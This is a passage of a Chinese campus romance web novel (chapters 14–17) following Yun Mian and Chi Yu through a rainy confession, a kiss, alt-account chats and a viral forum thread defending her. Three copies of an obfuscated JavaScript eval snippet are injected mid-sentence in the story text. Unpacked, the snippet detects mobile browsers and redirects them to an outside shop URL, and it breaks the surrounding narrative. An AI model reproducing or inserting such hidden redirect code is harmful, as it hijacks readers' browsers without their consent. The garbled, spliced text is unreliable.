云眠皱了皱眉：“那你说喜欢我，是喜欢我哪里？” 她很好奇。 路灯把她的影子拉得很长，方才还交融的两团黑影突然分开。 只留下迟郁停滞在原地。 云眠在等他的回答。 14. 暴雨 气氛急转直下。 迟郁整个人突然僵在原地，上一秒还沉浸在暧昧的气氛里，下一秒便降至冰点。 云眠看着他，没有再开口。 云眠在等他的回答。 但他不知道该怎么回答，他向来不擅长回答，只擅长行动。 云眠的手仍旧张开，仍旧被空气无声地托举在半空，仍旧漂亮又干净，仍旧像第一次见面时，她双手搭在钢琴键上，一行行脆弱的音符跃然而起，恰巧路过的迟郁被她吸引而驻足。 风的流动变得迟缓。迟郁沉默地盯着，双手靠在后背轻轻颤抖，他想牵上去，却不敢。 正待云眠有些等不及，准备再次开口时，身后倏然响起汽车喇叭声，随之而来的是爆发着白光的闪光灯。 迟郁抬手揽住她后腰，想将云眠抱住，护在身后。 但云眠却先他一步，离开了汽车的行驶区域。她站定，歪了歪头，看了看站在原地不动的迟郁，疑惑道：“过来啊。” 迟郁后知后觉地往前走了一步。 汽车扬长而去，留下一处静谧。 “我的问题，你不知道该怎么回答吗？”云眠问。 迟郁愣了下，声音有些迟疑：“……我瞒着你的，都是家里的事，小事。” “那天你身上的伤，是怎么来的？” 说这话时，云眠又想起那个早晨。 小雨绵绵，宁静又空旷的长廊下，只有他们两人。 她提出分手，迟郁不肯，扯住她衣角。 云眠毫不迟疑地甩开。 意料中迟郁会再次拉住她，但迟郁没有，反而是站在原地轻捂住胳膊，脸上是一闪而过的掩饰下的痛苦。 云眠捕捉到了这抹痛苦。 “你怎么了？”犹豫再三，她终究说出口。 “……没什么。”迟郁道。 云眠不信，伸手抓起他衣袖，掀开。 胳膊上是密密麻麻的血痕。 她愣了一下，声音不由得软了下来：“你这是怎么弄的？” 半晌，她也放下了手，任由迟郁的胳膊耷拉下去。 “……你家里人打的，对吗？” 那时听到这句话的迟郁，毅然决然地摇头。 而此时听到这句话的迟郁，默了一秒钟，点了点头。 云眠笑了一下，语气很轻：“迟郁，我对你一点都不了解。我对你家的事情一点都不了解。” 迟郁睫毛轻颤。 “但你对我很了解，不是吗？从高中起就是这样，总有人跑去告诉你，我悲惨的过往，用一些或真或假的话来编排我，他们以为我不知道，但这些话最终都传到了我耳朵里。” 云眠的表情很难看，一双眼睛里盈着泪，嘴角却在笑。 迟郁却只觉得心疼。 “那你为什么喜欢我？” 迟郁刚要开口。 云眠终于说出了那句深藏在心底的话：“因为你可怜我吗？” 冷风乍起，瞬间乌云密布，黑压压的天空顿时下起小雨。 迟郁抬手想要为她遮住雨点，云眠却再次闪开，声音很坚定：“就像所有的童话故事里一样，我是灰姑娘而你是捡到水晶鞋王子，我是睡美人而你是路过亲我一口的王子，我是莴苣姑娘，我是驴皮公主？” “你喜欢我，是因为你想要拯救我吗？” 她抬头，任由漫天雨水倾盆而下，浑身湿透。 “但我不需要任何人的拯救。” 风很冷。云眠打了个寒颤，正准备转身离去，却被迟郁突然脱下的外套裹住了身躯。 她顿了一下，抬手扯下衣服露出了脑袋。 却被迟郁突然抱住，裹得更紧。 “不是的。” 迟郁的声音很抖。 “我喜欢你，是你拯救了我。” - “老板，一份章鱼小丸子，一瓶草莓牛奶。”付语容拉高了衣领，心想她真是疯了，冒着雨跑来校外买章鱼小丸子。 她就这么馋吗？不对，凭什么校内的便利店今天不营业啊！害她走这么远！ 拎起袋子，雨下得更大了，地上积了不少水。现在出去，怕是要把伞刮坏。 付语容干脆留在店里，随便找了个桌子吃起了夜宵。 她今天心情实在是不好，躺在床上半天都睡不着，只得出门闲逛，结果逛到一半被章鱼小丸子馋得够呛。 于是结果就是，又冷又下雨又刮风的晚上，她独自一人坐在便利店里吃着东西。 用签子一下下扎着遗落的海苔，她脑子里不由自主地浮现起舍友的话语。 迟郁是不是对云眠有意思？ 废话，当然有。 那天将云眠一把推开后，她呆滞一样，没什么反应，甚至没什么情绪波动。 付语容更来气了。 她知道云眠。从不知道哪里的乡下转学来的，因为成绩好免了学费，似乎还有点儿舞蹈特长，但没多久就成了普通的文化考生。平时在班里沉默寡言，堪称小透明，朋友也不多，长得漂亮但天天只穿着洗得发白的校服。 竟然还敢跟她这样说话！？ 付语容一气之下抬起了巴掌，打算复刻自己对其他人的处理方法。 但她的巴掌在半空中便被云眠拦下。 她力气怎么这么大！？ 付语容用尽全力也不能抽回手，只得被她死死地抓着。 云眠面色如常地放开她，似乎是有些不解，也似乎是随口说道：“你力气好小。” 她像在简单地说“今天天气真好”一样，伸了个懒腰：“力气这么小，竟然还打人。” 付语容一愣：“你在说什么胡话？” “……欸，你昨天不是打我同桌了吗。” 付语容这才记起了她那个毫无存在感的同桌，冷哼了一声：“所以呢？” “放心吧，我不会告诉别人的，你也不要打我。” “……只要不打你，你就不会往外说？” 云眠点了点头：“因为我还没有被打过，不想尝试。” 付语容别过头，心想真是天真，她有的是办法折磨人。 也许是心虚，她总觉得云眠这人十分不可信。每次看见云眠与别人交谈，她总是不受控制地竖起耳朵偷听。 直到有一次，她听见云眠似乎在与别人讨论自己，但等下课她将云眠拽进洗手间询问时，却得到了否定的回答。 “……我们只是在说你的发圈很好看。” 付语容觉得这是对她的暗示。 她率先出击，向别人透漏自己四处打听到的关于云眠的八卦，包括但不限于“爸爸出轨”“私生女”之类。 但与她想象的不同，云眠毫无反应。 这种流言在学校之内不停地传播、升级。 云眠都毫无反应。 反而是传说中高高在上谁都懒得理的迟郁着急了。 眼瞅着迟大少爷一个个处理传播云眠八卦的人，付语容像热锅上的蚂蚁般煎熬，一会儿心想她的小跟班应该没胆子出卖她，一会儿心想万一呢！？ 但这一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621183|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终究没有来临。 听说是云眠自己阻止了迟郁。 付语容长舒一口气，但又觉得憋得慌。 是迟郁又怎样？他对云眠不就是玩玩而已，难道会为了她做些什么？谁不知道迟郁是出了名的不近女色？ 玩玩而已，迟大少爷的喜欢能持续多久？ 付语容一口草莓牛奶没咽下去，喷了一桌子。 ——好像真的挺久的。 她竟然看见大雨天的，迟郁和云眠撑着伞坐在便利店外。 而迟郁为了给云眠撑伞，那件限量款的外套都淋湿了一半。 - “……你这样不会淋到自己吗？” 云眠疑惑道。 迟郁没吱声，反而更向她移了一点。 云眠吸了口气，索性垂下眼睛。 这场雨突如其来，一眨眼的功夫便成了瓢泼大雨，地上全是积水，连车也打不到。 他们只能钻到了旁边的便利店。 云眠不想进去，迟郁便陪她坐了下来。 此时想起迟郁的告白，她还是有些晕乎乎的，可不管她如何追问自己是怎样“拯救”迟郁的，他都通红着一张脸不说话。 云眠干脆作罢。 这样的天气，这样闭塞狭窄的长椅，只有他们二人的环境，实在是让人想要恋爱。 云眠用余光偷偷瞄着迟郁，他正闭着眼睛，侧脸线条流利，睫毛很长，伴随着呼吸而轻轻颤抖。他鼻梁高挑，嘴唇饱满，透着红润的颜色，看起来很软。 好想亲。 这种冲动更加强烈了。 她甚至在脑海中回忆与迟郁亲吻的感觉。 慢慢的，云眠觉得有点渴，迟郁仍然毫无反应地闭着眼睛，似乎在休息。 她皱了皱眉，咬紧了嘴唇。 不管了。 “迟郁。”云眠出声。 迟郁应了一声。 云眠道：“你喜欢我吗？” 迟郁愣了一下：“喜欢。” “那如果我不喜欢你，你还喜欢我吗？还是会去喜欢别人？” 迟郁反应了几秒，缓慢地点了下头，随后又补充道：“喜欢你。” “那我不喜欢你。” “……” 迟郁刚要说话，嘴唇上却突然传来软软的触感。 他整个人愣住，下一秒，他反应过来，从脸红到了耳朵根。 云眠在亲他。 云眠亲得很认真。他能感觉到自己嘴角处的细腻摩擦，云眠的嘴唇很软，又有些湿，甚至有时还在轻轻地吮吸他。 迟郁脸红得快要滴血。 不知过了多久，云眠结束了这个吻。 她心跳得很快。 她亲了迟郁。 云眠抿了抿嘴唇，刚要退去，便被迟郁抓住了手心，痒了一瞬。 “……云眠。”迟郁脸热了半天，视线却紧盯着她，“你为什么亲我？” 云眠顿了一下，诚实道：“……不知道。” 似乎是没有预料到这个回答，迟郁也愣了一下，目光看向她仍旧湿润的嘴角。 云眠往后缩了一下：“你不能亲我。” “……为什么？” “因为我现在还不喜欢你。” 云眠抬头，雨不知何时已经停了，只剩下屋檐滴答着雨水。 她起身，没有去看迟郁，以此来掩饰自己哦同样炙热的耳朵。 “我先回去了。” “……如果有天，我也喜欢上你了，那你才可以亲我。” 15. 尾巴 云眠亲我了。 云眠亲我了！ ……但是云眠还不喜欢我。 迟郁的思绪在一天内疯狂跳转，脑中像有一团乱麻层层打结，忽而高兴忽而失落，如同坐过山车。 这种状况持续了一整天。 隔壁宿舍的人敲门来找他时，看见的便是这副场景。 男生们愣了一下，看到他原本欣喜的脸在一瞬间臭得像别人欠自己八百万一般，纷纷面面相觑。 不能吧？谁敢得罪迟郁啊。 半晌，一个男生率先站了出来，直愣愣道：“迟郁……” 迟郁转头，面无表情但看起来很吓人。 男生缩了一瞬，在心底给自己加油打气，再次开口道：“那个，我们想来问问你要不要参加篮球赛？” “不去。”迟郁一秒都没犹豫。 男生还没反应过来，剩下的话已经脱口而出：“是校里的比赛……” “啊？哦哦，好吧，那我们先走了……” “等一下。” 迟郁道：“校里的？” 男生点了点头。见他没反应，似乎在等自己继续说。迟疑了一下道：“呃，就是，音乐学院文院农院啊什么的都有，还有数院啊什么的……” “行。” “嗯？？”男生们都呆了一秒，没有料想到迟郁居然会同意。 迟郁：“你们差什么位置？” “后卫……不过你打什么都行，我们可以跟着你打。”他们是听和迟郁同高中的人说的，迟郁高中时打篮球便很厉害，拿过奖。 迟郁点了点头：“没问题，我一般都打后卫。” 男生们喜出望外地走了。宿舍门一关，原本躺在床上戴着耳机的李朝阳突然探出头：“迟郁。” “哎，迟郁，迟郁！” 迟郁抬头。 “你会打篮球啊？”李朝阳问了个连他自己都觉得极其废话的问题，没等迟郁回答便顺着说了下去，“那个比赛是系内自己组队的。” “所以？” 李朝阳认真道：“你加了他们队，那我们就是对手了。” “我是队长，如果对上的话，我不会给你放水的。” “……”迟郁道，“好啊，你千万不要放水。” 徐帆冷不丁来了句：“你近视六百度还打篮球呢？” “我戴隐形——” 迟郁懒得参与他们的闲聊，干脆带上耳机玩起了手机。 迟少爷虽然朋友不少，但一般没人给他发消息，没过几分钟他便觉得无聊，随手打开交易平台。 正思考着给云眠发什么消息，那边的云眠竟先给他发了过来。 [眠眠：不好意思。] [眠眠：最近有点事，所以还没开始给你做。] 迟郁愣了下。他也没催啊？ 于是他敲了几个字。 [hxhmmzmb：没事，我不急，你慢慢做就好。] 那边的云眠半天没回复，迟郁已经在翻之前的聊天记录了。 突然。 [眠眠：其实，我最近有点心事。] [眠眠：思来想去，也没什么朋友可以说。] 迟郁眼睛睁大了一瞬。 [眠眠：我可以跟你倾诉一下吗？] 他在聊天框里删删改改，把“可以”“当然可以”“没问题”都删掉，最终发了个“你说。” [眠眠：我亲了一个男生。] 迟郁猝不及防，脸瞬间变红，他一推桌子站了起来。引得徐帆和李朝阳频频往这儿看。 那晚的细腻柔软触感再次冒了出来。 没等到云眠的回复，他只好斟酌了一下语句。 [hxhmmzmb：然后呢？] [眠眠：然后。] [眠眠：我现在心里很乱。] 迟郁皱了下眉，他有点担心云眠。 [hxhmmzmb：……怎么了？] [眠眠：我怕他讨厌我。] [hxhmmzmb：他不会讨厌你的。] [hxhmmzmb：说不定，他还挺开心的。] 那边的云眠仍旧过了很久才回复。 [眠眠：我都没说是谁，你怎么知道他不会讨厌我？] 迟郁顿住，连忙往上翻了翻聊天记录。他说话挺自然的，云眠肯定不会发现。 应该只是随便问问。 [hxhmmzmb：我猜的。^_^] [hxhmmzmb：……那，是谁啊？] [hxhmmzmb：跟我说说呗。] [hxhmmzmb：我帮你分析分析。^_^] “就是，上次选修课的那个，跟我关系挺好的男生。” 云眠发来了一条语音。 她声音清脆又好听，带着独特的温柔语调，迟郁听愣了一秒。 [眠眠：怎么不回复了……？] [hxhmmzmb：刚刚有点事！嗯……我觉得吧。既然你们关系挺好，那亲就亲了，又不会少块肉。] [hxhmmzmb：肯定没事的，你不要心烦了。] 有个屁事。 迟郁没忍住多听了好几遍而已。 [眠眠：你很忙吗？那我们可以打语音呀。] ！ 那他不就露馅了吗。 迟郁连忙编了个理由搪塞过去，顺便转移了话题。 [hxhmmzmb：对了，那你……亲他之前，有没有什么铺垫之类的？] [眠眠：他说他喜欢我。] 迟郁眼神暗了一瞬。 [hxhmmzmb：那你们怎么不在一起？难道你不喜欢他吗？] 他不禁有些紧张，期待云眠的回答。 [眠眠：唔，我比较随缘。] [眠眠：我先去准备竞赛啦，有空再说吧~^V^] 迟郁心情低落了下去。 可没低落多久。他又再次燃起了希望。 云眠竟然会给这个号发消息！还会找他倾诉！ ……云眠会跟别的男人倾诉心事么？ 不过幸好，这是他的小号，不是别的男人。 迟大少爷的尾巴又翘了起来。 他很高兴，看来这个号不禁可以买云眠的烫花，说不定—— 还可以和云眠成为好朋友。 - “云眠，你笑什么呢？” 竞赛小组组长挑了个大家都比较空闲的时间开会，此时王世辉的部分也已经汇报完毕，他正无聊，转头便看见了盯着手机屏幕嘴角漾着笑意的云眠，问道。 “啊，没什么。”闻言，云眠抬头看了他一眼。 她正在翻着自己和迟郁的聊天记录。 刚刚闲着无事，她又给迟郁发送了一条消息。 [眠眠：那你说，我以后还可以亲他吗？] [眠眠：是不是不太好。] [眠眠：但我挺想亲的。] 那边的迟郁沉默了几秒钟，云眠看见他的一串字母昵称和“正在输入中”来回切换，不禁露出了笑意。 过了一会儿。 [hxhmmzmb：……我觉得可以。] 可等迟郁再次提起那个问题时，她又找了个借口消失了。 云眠垂眸，睫毛被屏幕映得发光，盯着迟郁的理由笑了半天。 [hxhmmzmb：那什么，我最近感冒了声音太难听了，先不打了……]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621184|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她弯了弯嘴角，收起手机继续听着其他人的汇报。 其实并不全是假的。 她真的有点儿害怕迟郁讨厌她。 不是因为……亲了一口。 而是，她亲口所说不喜欢迟郁后，又亲了一口。 这行为还挺渣的。 云眠抿了抿唇，那种触感仍然可以清晰地再现。 迟郁的嘴巴很软，很好亲。 从前谈恋爱时，总是迟郁主动来亲她。 因此，这次她主动的吻，迟郁似乎很意外，整个人红透了，眼里满是错愕和惊喜。 在暴烈的大雨下，她和迟郁撑着一把伞接吻。 真的很刺激。 “那这次开会就到这里结束了，谁还有问题吗？”组长站在前面大声问道。 没人说话，他们便原地解散了。 云眠正收拾着东西，王世辉不知何时冒了出来，凑近她，压低了声音：“云眠。” “那天你跟迟郁没有因为我吵架吧？” 云眠：“没有啊。” “哦哦。”王世辉似乎松了口气，道，“那就好，我那天回去还给他解释来着，还好他没生气。” “早知道迟郁喜欢你，我就不凑上去跟你闲聊了。” 云眠动作一滞：“……什么？” “什么什么？”王世辉也噼里啪啦地开始收拾东西。 “……为什么说迟郁喜欢我？” 迟郁应该不会这么直白地告诉他吧。 “啊？为什么？你不知道吗？”王世辉似乎有些震惊，看着她道，“我以为你知道呢。” 王世辉像在打哑谜。云眠听不懂，干脆道：“迟郁跟你说的？” “不是不是，我猜的。” “……”云眠没说话，起身准备走。 王世辉掏出手机：“不过我刷到这条帖子了，所以确认了。” 云眠坐下，接过了他的手机。 屏幕上的是一条评论几千的帖子，甚至转发都过千了，可以说是学校贴吧这几个月最热闹的帖子。 标题上几个字明晃晃地显示着： [转载·超帅新生主持人真的没对象吗？想追！求联系方式！] [1L：我觉得别追吧……多年吃瓜经验，他喜欢这女的，眼都长人家身上了。从她上台就在盯着，虽然我也觉得很漂亮，但真不至于这么盯吧……] [1L：附图] [1L：附视频] [8L：狠狠点了！我看直播的时候就感觉不对劲，这也太暧昧了吧？？建议原贴主还是别冲了，人家看起来心有所属。] [16L：啊，这也太恶心了吧……有对象干嘛不承认啊？上大学也要立人设？] [17L：妈耶这女生好漂亮好有气质，是我喜欢的类型。] [22L：楼上洗洗睡吧，你有迟郁帅么。顺便夸一下迟郁这名字也好好听，有没有人知道那女生叫什么？] [172L：谢邀，闲的没事直接一帧帧分析了，迟郁绝对是在盯着她，甚至我推测这个“12，6”也是为了她才喊的，有点好磕是怎么回事。] [222L：……你们很闲吗？没见过帅哥啊，有什么好分析的。] [301L：纠正一下，不是单纯的帅哥，是刚入学就给学校捐了一栋楼的高富帅，听说首都有一半是他家企业。] [333L：呃，我是迟郁高中校友，这个女生也是我们高中的，他俩当时就谈过吧我记得。所以迟郁是不是还喜欢她！旧情复燃？] 云眠看得很快，转眼便滑到最后，恰巧看见了最后一条回帖。 名字十分熟悉。 [2025L：不是旧情复燃，一直喜欢她。] 16. cy1 云眠手一抖，差点把手机扔出去。 旁边的王世辉见状手疾眼快地夺回了自己的手机，视线不经意搭在最后一条回帖上，愣了下：“哎？这谁啊，昵称叫cy1的……cy……迟郁？？” “这该不会是迟郁本人吧！”他喊了一声。 云眠被他吓了一条，捂住耳朵没吱声。 “这是迟郁吗？”王世辉扭头问她。 “不知道。”云眠干脆利落地收拾好了东西起身，“我先走了，学长。” 其实，她现在很想冲去给迟郁发条消息。 但转念一想。 算了。 好像也影响不到自己。 她装作不知道就可以了。 ……根本装不了啊。 刚一回到宿舍，几个舍友便再次迎了上来，宛如刚开学时一般将她包围住。为首的是最爱八卦的徐燕，捏着手机递到她眼前：“眠眠！你看没看这个帖子？” 云眠闭了闭眼：“……没看。” “哦哦！就是一条上万评论的帖子说开学典礼的主持人也就是给你搬行李的帅哥——” 云眠两眼一黑。 她走回宿舍也就用了二十分钟吧。 刚刚还是几千条评论，怎么这么快就上万了呢？ 所以说大学少设置点水课吧。 大家都没事干只能玩手机了。 她出声打断徐燕：“我知道了。” “知道了？我还没说完呢！”徐燕嘴巴没停。 “不是旧情复燃。”云眠道，“我看见了。” “你这都落伍了！”徐燕兴致勃勃，“他又回复了！说——” 云眠猝不及防地再次看到了cy1的回帖。 [5202L：不是对象，我单方面喜欢她。] 一石激起千层浪。 [5203L：妈耶！神仙爱情！] [6666L：长成迟郁这样的都在单恋，我男神不喜欢我又怎么了？] [6781L：呃。难道她自己不知道人家喜欢她吗？这不就是吊着别人，恕我直言，哪有好女人这样做啊，我是女的我也不这样啊，好恶心。] [7001L:能不能别标榜什么样才是好女人了？我支持只要不犯法就是好女人。] [8228L：占楼，明天早八替课带价来。] 上万条评论说什么的都有。有羡慕她的，有夸赞迟郁的，有接接接的。骂她不识好歹的也有，骂迟郁占用公共资源的也有。 云眠没什么太大反应，借用徐燕的账号给骂迟郁的评论点了举报，随后便把手机还给了徐燕。 林晓琳见她神色恹恹，有些担心道：“眠眠，你没事吧？” 云眠摇了摇头。 她很少用贴吧，几乎保持着几个月打开一次的频率，此时软件不负所望地弹出了重新登陆的提醒。 云眠盯着昵称，那还是迟郁给她起的。 “ym1” 迟郁一直都有这个习惯。 他打顺手的字通常都打首字母，起昵称的时候连中文都懒得选，干脆直接输入一串字母。 那时学校内刚刚兴起贴吧，一群人争先恐后地注册账号，迟郁手快，给自己输入了“cy1”，云眠笑了他半天。 迟郁不语，看了她几秒。 于是云眠得到了同款的昵称。 他称之为情侣网名。 后来分手了，也许是因为使用频率太低，总之云眠一直没有更改。 此时简短的名字渐渐消散，变成“正在登陆中”，而后又闪了一下，进入了主页。 云眠一直没说话，神情专注地盯着。 短短几分钟时间内，又多盖了几百层楼。 云眠从第一层开始翻，把有关人身攻击的，说话难听的，辱骂她或者迟郁的回复都给举报了。 在这之间，她倏然发现迟郁还有一条回复，是她之前没有看见的。 [3334L：这长得一般啊，帅哥喜欢她哪里？] 与其他的谩骂相比，这一层过于温和了，甚至有点不显眼。 但迟郁只回复了这一层。 [cy1：全部。] [额……居然回复我了？该不会要说她全是优点吧，好俗啊哈哈。] [cy1：首先，我觉得她哪里都好。其次，就算不好我也喜欢。] 云眠手指一顿。 回复时间竟然是刚刚。 - 几人神色茫然地用眼神互相交流着。 迟大少爷第一次抱着手机回到了寝室，并且一直在噼里啪啦地打字。 几个打算来喊他去训练的篮球队队员犹豫了一下，道：“我们还是待会再来吧……刚好还没吃饭。” 徐帆也很懵，但还是招呼道：“行，那你们先走吧。” 屏幕前的迟郁表情很臭。 他原本挨个把骂云眠的帖子都骂了回去，但没过多久，系统便提示他因为说话太难听，脏字太多，直接把他评论删掉了。 迟郁更生气了。 干脆一层层楼翻了起来，挨个举报。 [4208L：从别处吃瓜来的，所以是这女的高中时追到了cy吗？？求教程。] [cy1：不是，我追的她。] [7702L：感觉自己在看古早玛丽苏小说，霸道校草和傻白甜女主的既视感……] [cy1：她不傻。] [9034L：所以一直在回复的这个账号是迟郁本人？我也想要回复，祝少爷早日追到心上人！] [cy1：谢谢。] [妈呀帅哥回我了！不用谢！] 迟郁回了几百层楼，手都抽筋了，终于翻到了最新一层。 所有骂云眠的都被他举报了，此时帖子里一片祥和，竟然还有不少人祝福他们。 迟大少爷露出了得偿所愿的笑容。 手机突然“叮咚”响了一声。 他的视线下意识瞥到了屏幕上方。 [眠眠：谢谢。] 是云眠发来的消息。 迟郁一愣。 谢什么？ 难道云眠知道是他订做的烫花了？ 不可能，他伪装得这么好。 难道——云眠看到这个帖子了，是在感谢他帮自己说话？？ 但这不是他应该做的吗！ 没等迟郁发出那句“谢什么”，云眠的消息再一次传来。 [眠眠：谢谢你的嘴巴。] [眠眠：好软。] 迟郁：…… [眠眠：亲过它之后，我最近心情都很好。] [眠眠：所以我有一个不情之请。] [cy：……你说。] [眠眠：我可以再亲一下吗？] 迟郁差点把自己埋进地板里。 他红着一张脸，无视舍友们的关切询问，爬上床，把自己蒙进了被子里。 几秒后。 迟郁把被子掀起一条缝来呼吸，慢慢抬起手，摸了下自己的脸。 好烫。 [眠眠：不回复是不可以吗？]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621185|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [眠眠：……好吧。] ！ 迟郁连忙打字。 [cy：可。] 完了，漏了一个字。 [cy：可以。] 看着自己发去的紧挨着的两条消息，迟郁后知后觉。 可，可以。 怎么这么像害羞了？ 没等他再多想，云眠又发来了消息。迟郁只看了一眼，便把手机息屏扔到了一边。 [眠眠：那可以再多亲几下吗？] 半晌。 [cy：……可以。] [cy：那我们是什么关系？] 他小心翼翼，又带着些期待。 云眠喜欢他了吗？ 他们……是男女朋友了吗？ [眠眠：亲嘴搭子？] 迟郁静静地躺了下去。 话虽如此，但亲嘴搭子总比普通朋友要好。 于是迟郁同意了。 并且在十分钟内穿好衣服下楼，赶去了云眠的宿舍楼下。 云眠姗姗来迟。 她没化妆，但一张脸素净白嫩，眼睛明亮又干净，睫毛很长地卷翘着。一头长发被风轻轻吹起，几根发丝扫过脸颊。迟郁看见她嘴角弯起，似乎在笑。 见她靠近。 迟郁清了下嗓子：“那个……” 云眠歪了歪头：“嗯？” 其实迟郁想问问她，有没有看见那个帖子。 评论区说话太难听了，他怕云眠看见会难过。 但一见到云眠。他的视线不由自主地聚焦到那张粉嫩的嘴唇上。 那晚的触感仍然在脑中缠绕久久不离去。 迟郁喉结滚动了一下，刚要说话。 “云眠！” 云眠闻言转过头，和远处的舍友们打了招呼。 “你在约会吗？”徐燕遥遥地问。 云眠笑了下，没正面回答：“你去上课吗？拜拜。” 迟郁看着她的头顶，心中泛起一股酸涩的感觉。 云眠又和舍友们聊了几句。 直到徐燕她们恋恋不舍地走了，她才转过头。映入眼帘的是迟郁泛着光的眼睛，微微发红的耳根。 迟郁牵了下她无名指，很小声地道：“……我们去哪亲啊？” 云眠顿了下，突然起了坏心思：“就在这。” 迟郁表情一僵。 “这么多人，不好吧。”他压低了声音。 “可是我就想在这儿亲。” 迟郁扫了扫周围。此时正是上课前的时间，不少人三三两两成群结队地走着，偶尔会有一些人向这里看。 他俯身：“……我不想让别人看见。” 在学校贴吧奋战了几个小时的迟少爷现在很敏感。 云眠什么都没做，都会被人骂。 他刚刚还自称“单方面喜欢”云眠，如果现在二人接吻……会不会有更多人骂云眠？ 他不想让别人骂云眠。 更何况，云眠现在还不喜欢他呢。 眼睁睁看着迟郁的表情不断变化的云眠此时有点想笑。 她大概能知道迟郁在想什么了。 她多刷新了几遍，把迟郁的回复看了个七七八八。 也正是因此，她才将迟郁叫了出来。 不是想亲。 只是，单纯有点儿想他。 昏黄的灯光下。 云眠注视着他，轻轻踮起了脚尖。 距离越来越近。 突然。 “云眠！” 17. 花灯 远处再次传来一道声音。 云眠以为还是舍友，干脆没理，踮着脚向迟郁靠近。 她发丝乖顺地垂落，一双眼睛闭着，睫毛很长。嘴唇饱满透露着粉嫩，衬得皮肤更加雪白，慢慢靠近，像精致的蝴蝶扑闪着翅膀飞来。 一寸寸的，心跳越来越快。 他们的距离越来越近，迟郁喉结滚动，下意识弯腰。 扑面而来的是云眠的香气，甜丝丝的，却不腻，反而满是清香，宛如踏入一片洋桔梗的花丛，迟郁的睫毛轻轻颤动，下意识伸手想要挽住她腰肢—— 扑通、扑通。 心跳声融为一体。 迟郁也慢慢向她靠近着。 “云眠！” 又一声。 云眠顿了一下，停住了动作，脚跟也倏然落地，转身看向那边。 迟郁看着她突然退去的身影，手指轻颤。 “云眠，你在这儿啊。” 云眠应了一声。 班长看起来风尘仆仆，手里还揣着个手机，亮着屏，她先是喘了半天，随后道：“班主任找你。” 说完这话，她才注意到旁边的男人，愣了愣，有些不好意思：“我是不是打扰你们了？……主要是班主任说给你发消息你没回——” 云眠朝她笑了笑：“没关系，辛苦你了。” “那，那我先走了，你记得去找班主任啊，她好像挺急的。” 云眠点头。她刚刚只顾着跟迟郁聊天，没看其他消息，又匆忙下楼，估计是班主任没找到她，只能麻烦班长跑一趟。 她微微侧脸看了下迟郁，道：“那我先走了？” 迟郁“嗯”了一声。 云眠只往前走了一步便被拉住，她无名指本就被迟郁勾住，此时，迟郁整个手都覆了上来。 温度的差异太过明显。 迟郁的手很热，包裹住她。 云眠心下一动，转过头。 灯光昏暗，视线模糊不清，迟郁半低着头，只能看见紧绷的嘴角。 “怎么了？……” “你。”迟郁只说了一个字。 云眠一顿。 半晌，他又道：“还回来吗。” 你还回来吗。 他声音有点闷，带着几分不明意味的情绪。 风起了，云眠垂下眼，又抬眼。 迟郁向前走了一步，将她手攥得更紧，仿佛怕她跑了一般。 此时的迟郁，全然不像传闻中高高在上的迟郁，反而像一只怕被抛弃的小狗，委屈巴巴的，垂着头不敢看她，似乎很怕她说出一句“不回来了”。 云眠心中那点坏念头被浇灭，她突然有点不忍心。 她动了动手指，轻轻摸索着迟郁的骨节，声音也软了下去：“我会回来的。” 一瞬间，迟郁的眼睛亮了起来，俯身向她凑近。 云眠似乎能看见他身后摇起的尾巴。 她忍着笑：“我想吃冰糖草莓，你先去后街等我吧。” 迟郁蹭她手腕，低声道：“我想跟你一起去。” “我在外面等你。” 云眠摇头：“不行。” “那我在这里等你，我们再一起去后街。” 云眠失笑：“不行。” 迟郁很是幼稚地晃了晃她胳膊。 “如果你待在这儿。”云眠踮脚，凑到他耳边，“那我待会就在这里亲你。” 迟郁一愣，转头看了看周围：“那我先去买冰糖草莓。” 云眠被他逗得心情很好，连走去教学楼的路上都扬着嘴角，可渐渐靠近，她心里不由得有些纳闷。 升入大学一年来，她跟导员交集不多，偶然几次听见舍友吐槽导员时也没有多注意，只记得，她挺忙的，只有比较大的事情，她才会主动找学生谈话。 云眠心中诧异。 敲了几下门，里面传来了声音：“请进。” 云眠顺手把门关上了。 她班主任是个中年女性，戴着眼睛，头发挽起，看起来温文尔雅，此时见她进来，放下手中的书，指了指椅子：“坐吧，云眠。” “你平时玩社交软件么？”她开门见山。 云眠摇了摇头。 “这样啊。”班主任拿出手机点了几下，向她推来，“你先看一下吧，这个帖子。” 映入眼帘的是她刚刚看的帖子，但云眠还是象征性地看了一会，随后又推了回去：“怎么了，老师？” “哦，就是——你跟这个迟郁认识，对吧？” “认识。”她承认。 “他在追你？” 云眠不知该怎么回答，没说话。 班主任看了她两眼，心下了然，收回了手机：“也对，爱情这事嘛，谁都说不准。你们还是青春期，也在探索。” 